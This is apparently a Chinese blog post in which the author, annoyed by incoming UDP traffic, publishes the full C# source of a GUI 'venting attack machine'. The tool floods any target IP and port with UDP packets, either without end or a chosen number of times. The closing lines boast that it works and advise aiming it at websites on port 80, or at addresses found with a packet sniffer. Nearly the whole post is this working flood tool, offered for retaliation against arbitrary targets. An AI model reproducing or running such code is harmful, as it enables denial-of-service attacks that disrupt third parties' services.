网络攻击程序(C#版)

今天开天网，发现有一个ip从早上到下午一直在向我的3076端口发送udp包
攻击日志一直把天网给活生生的撑破了，天网被日志填满自动关闭。
气氛之下写了一个反击的程序，代码如下：

using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;

namespace socket_sender
{
 /// <summary>
 /// Form1 的摘要说明。
 /// </summary>
 public class Form1 : System.Windows.Forms.Form
 {
  public bool run=false;    //开始攻击的标志
  public string sendstr="泄愤！";   //待发送的内容
  public int count=0;    //发送次数
  public Thread myAttack; //攻击线程
  private System.Windows.Forms.Label label1;
  private System.Windows.Forms.TextBox t_dis;
  private System.Windows.Forms.Label label2;
  private System.Windows.Forms.TextBox t_numb;
  private System.Windows.Forms.RadioButton r1;
  private System.Windows.Forms.RadioButton r2;
  private System.Windows.Forms.Button button1;
  private System.Windows.Forms.Button button2;
  private System.Windows.Forms.Label label3;
  public System.Windows.Forms.TextBox t_port;
  private System.Windows.Forms.Label label4;
  public  System.Windows.Forms.TextBox t_content;
  public System.Windows.Forms.Label msg;
  private System.Windows.Forms.Label label5;
  private System.Windows.Forms.TextBox t_locPort;
  /// <summary>
  /// 必需的设计器变量。
  /// </summary>
  private System.ComponentModel.Container components = null;

  public Form1()
  {
   //
   // Windows 窗体设计器支持所必需的
   //
   InitializeComponent();

   //
   // TODO: 在 InitializeComponent 调用后添加任何构造函数代码
   //
  }

  /// <summary>
  /// 清理所有正在使用的资源。
  /// </summary>
  protected override void Dispose( bool disposing )
  {
   if( disposing )
   {
    if (components != null)
    {
     components.Dispose();
    }
   }
   base.Dispose( disposing );
  }

  #region Windows 窗体设计器生成的代码
  /// <summary>
  /// 设计器支持所需的方法 - 不要使用代码编辑器修改
  /// 此方法的内容。
  /// </summary>
  private void InitializeComponent()
  {
   this.label1 = new System.Windows.Forms.Label();
   this.t_dis = new System.Windows.Forms.TextBox();
   this.label2 = new System.Windows.Forms.Label();
   this.t_numb = new System.Windows.Forms.TextBox();
   this.r1 = new System.Windows.Forms.RadioButton();
   this.r2 = new System.Windows.Forms.RadioButton();
   this.button1 = new System.Windows.Forms.Button();
   this.button2 = new System.Windows.Forms.Button();
   this.label3 = new System.Windows.Forms.Label();
   this.t_port = new System.Windows.Forms.TextBox();
   this.label4 = new System.Windows.Forms.Label();
   this.t_content = new System.Windows.Forms.TextBox();
   this.msg = new System.Windows.Forms.Label();
   this.label5 = new System.Windows.Forms.Label();
   this.t_locPort = new System.Windows.Forms.TextBox();
   this.SuspendLayout();
   //
   // label1
   //
   this.label1.Location = new System.Drawing.Point(24, 104);
   this.label1.Name = "label1";
   this.label1.Size = new System.Drawing.Size(56, 16);
   this.label1.TabIndex = 0;
   this.label1.Text = "目标IP：";
   //
   // t_dis
   //
   this.t_dis.Location = new System.Drawing.Point(112, 96);
   this.t_dis.Name = "t_dis";
   this.t_dis.Size = new System.Drawing.Size(192, 21);
   this.t_dis.TabIndex = 2;
   this.t_dis.Text = "";
   //
   // label2
   //
   this.label2.Font = new System.Drawing.Font("宋体", 12F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(134)));
   this.label2.ForeColor = System.Drawing.Color.FromArgb(((System.Byte)(192)), ((System.Byte)(64)), ((System.Byte)(0)));
   this.label2.Location = new System.Drawing.Point(112, 24);
   this.label2.Name = "label2";
   this.label2.Size = new System.Drawing.Size(136, 16);
   this.label2.TabIndex = 2;
   this.label2.Text = "网络泄愤攻击机";
   //
   // t_numb
   //
   this.t_numb.Enabled = false;
   this.t_numb.Location = new System.Drawing.Point(232, 240);
   this.t_numb.Name = "t_numb";
   this.t_numb.Size = new System.Drawing.Size(40, 21);
   this.t_numb.TabIndex = 12;
   this.t_numb.Text = "";
   //
   // r1
   //
   this.r1.Location = new System.Drawing.Point(152, 240);
   this.r1.Name = "r1";
   this.r1.Size = new System.Drawing.Size(88, 24);
   this.r1.TabIndex = 10;
   this.r1.Text = "攻击次数：";
   this.r1.CheckedChanged += new System.EventHandler(this.r1_CheckedChanged);
   //
   // r2
   //
   this.r2.Checked = true;
   this.r2.Location = new System.Drawing.Point(40, 240);
   this.r2.Name = "r2";
   this.r2.TabIndex = 8;
   this.r2.TabStop = true;
   this.r2.Text = "一直循环";
   //
   // button1
   //
   this.button1.Location = new System.Drawing.Point(56, 280);
   this.button1.Name = "button1";
   this.button1.Size = new System.Drawing.Size(75, 32);
   this.button1.TabIndex = 15;
   this.button1.Text = "开 始";
   this.button1.Click += new System.EventHandler(this.button1_Click);
   //
   // button2
   //
   this.button2.Location = new System.Drawing.Point(200, 280);
   this.button2.Name = "button2";
   this.button2.Size = new System.Drawing.Size(75, 32);
   this.button2.TabIndex = 16;
   this.button2.Text = "停 止";
   this.button2.Click += new System.EventHandler(this.button2_Click);
   //
   // label3
   //
   this.label3.Location = new System.Drawing.Point(24, 136);
   this.label3.Name = "label3";
   this.label3.Size = new System.Drawing.Size(72, 16);
   this.label3.TabIndex = 0;
   this.label3.Text = "目标端口：";
   //
   // t_port
   //
   this.t_port.Location = new System.Drawing.Point(112, 128);
   this.t_port.Name = "t_port";
   this.t_port.Size = new System.Drawing.Size(88, 21);
   this.t_port.TabIndex = 4;
   this.t_port.Text = "";
   //
   // label4
   //
   this.label4.Location = new System.Drawing.Point(24, 168);
   this.label4.Name = "label4";
   this.label4.Size = new System.Drawing.Size(64, 16);
   this.label4.TabIndex = 0;
   this.label4.Text = "内容：";
   //
   // t_content
   //
   this.t_content.Location = new System.Drawing.Point(112, 168);
   this.t_content.Multiline = true;
   this.t_content.Name = "t_content";
   this.t_content.Size = new System.Drawing.Size(192, 56);
   this.t_content.TabIndex = 6;
   this.t_content.Text = "";
   //
   // msg
   //
   this.msg.ForeColor = System.Drawing.Color.Red;
   this.msg.Location = new System.Drawing.Point(8, 336);
   this.msg.Name = "msg";
   this.msg.Size = new System.Drawing.Size(296, 16);
   this.msg.TabIndex = 9;
   this.msg.Text = "发送次数：";
   //
   // label5
   //
   this.label5.Location = new System.Drawing.Point(24, 72);
   this.label5.Name = "label5";
   this.label5.Size = new System.Drawing.Size(72, 16);
   this.label5.TabIndex = 0;
   this.label5.Text = "本地端口：";
   //
   // t_locPort
   //
   this.t_locPort.Location = new System.Drawing.Point(112, 64);
   this.t_locPort.Name = "t_locPort";
   this.t_locPort.Size = new System.Drawing.Size(88, 21);
   this.t_locPort.TabIndex = 1;
   this.t_locPort.Text = "8000";
   //
   // Form1
   //
   this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
   this.ClientSize = new System.Drawing.Size(328, 357);
   this.Controls.Add(this.msg);
   this.Controls.Add(this.t_content);
   this.Controls.Add(this.t_port);
   this.Controls.Add(this.button1);
   this.Controls.Add(this.r2);
   this.Controls.Add(this.t_numb);
   this.Controls.Add(this.r1);
   this.Controls.Add(this.label2);
   this.Controls.Add(this.t_dis);
   this.Controls.Add(this.label1);
   this.Controls.Add(this.button2);
   this.Controls.Add(this.label3);
   this.Controls.Add(this.label4);
   this.Controls.Add(this.label5);
   this.Controls.Add(this.t_locPort);
   this.Name = "Form1";
   this.Text = "小y";
   this.Closing += new System.ComponentModel.CancelEventHandler(this.Form1_Closing);
   this.ResumeLayout(false);

  }
  #endregion

  /// <summary>
  /// 应用程序的主入口点。
  /// </summary>
  [STAThread]
  static void Main()
  {
   Application.Run(new Form1());
  }

//开始按钮
  private void button1_Click(object sender, System.EventArgs e)
  {
      //检测ip和端口号是否填写完整
   if(t_dis.Text==""||t_port.Text==""||t_locPort.Text=="")
   {
    MessageBox.Show("本地端口，目标IP和端口三项不能为空！");
    return;
   }
            //检查是否有自定义发送消息
   if(t_content.Text!="")
    sendstr=t_content.Text;
            //开启线程来实现攻击
   Thread myAttack=new Thread(new ThreadStart(this.SendTo));
   myAttack.Start();
  }

//线程主函数，功能：发送攻击数据包
  public void SendTo()
  {   
   msg.Text="线程启动……";
   //建立EndPoint和socket
   IPEndPoint localHost=new IPEndPoint(IPAddress.Any,int.Parse(t_locPort.Text));
   IPEndPoint remotHost=new IPEndPoint(IPAddress.Parse(t_dis.Text),Convert.ToInt16(t_port.Text));
   Socket s=new Socket(AddressFamily.InterNetwork,SocketType.Dgram,ProtocolType.Udp);
            s.SetSocketOption(SocketOptionLevel.Socket,SocketOptionName.SendTimeout,5);
   //开始建立连接
   try
   {
    s.Bind((EndPoint)localHost);
    s.Connect(remotHost);
   }
   catch(SocketException e)
   {
    MessageBox.Show("建立连接失败！"+e.Message.ToString());
    return;
   }

   //如果连接成功，开始发送数据包
   msg.Text="连接成功！";
   byte[] sendb=Encoding.Default.GetBytes(sendstr);
   run=true;
   while(run)
   {
    Application.DoEvents();
    if(r1.Checked)
    {
     //如果选择了多少次
     for(int i=1;i<=Convert.ToInt16(t_numb.Text);i++)
     {
      s.Send(sendb,sendb.Length,0); //发送数据
      count++;
      msg.Text="发送次数："+count;
     }
     run=false;  //攻击完指定次数后，循环结束
    }
    else
    {
     //选择了一直发送
     s.Send(sendb,sendb.Length,0); //发送数据
     count++;
     msg.Text="发送次数："+count;
    }
   }
   s.Close();
   run=false;
            msg.Text="线程退出，攻击停止！";
  }

//停止攻击
  private void button2_Click(object sender, System.EventArgs e)
  {
     run=false;
  }
//指定发送次数
  private void r1_CheckedChanged(object sender, System.EventArgs e)
  {
   if(r1.Checked)
    t_numb.Enabled=true;
   else
    t_numb.Enabled=false;
  }
//关闭
  private void Form1_Closing(object sender, System.ComponentModel.CancelEventArgs e)
  {
   run=false;
   if(myAttack!=null)
    myAttack.Join(3000);
  }
 }
}

我在wind2000下运行通过，攻击效果不错。

选填ip和端口的方法：不是所有的ip和所有的端口都可以攻击的，但一般网站的ip＋80端口，都可以攻击
也可以用一些抓包工具抓到网络的ip信息，填上该iP和对应的端口就一定可以连上。抓包工具如：sniffer1.02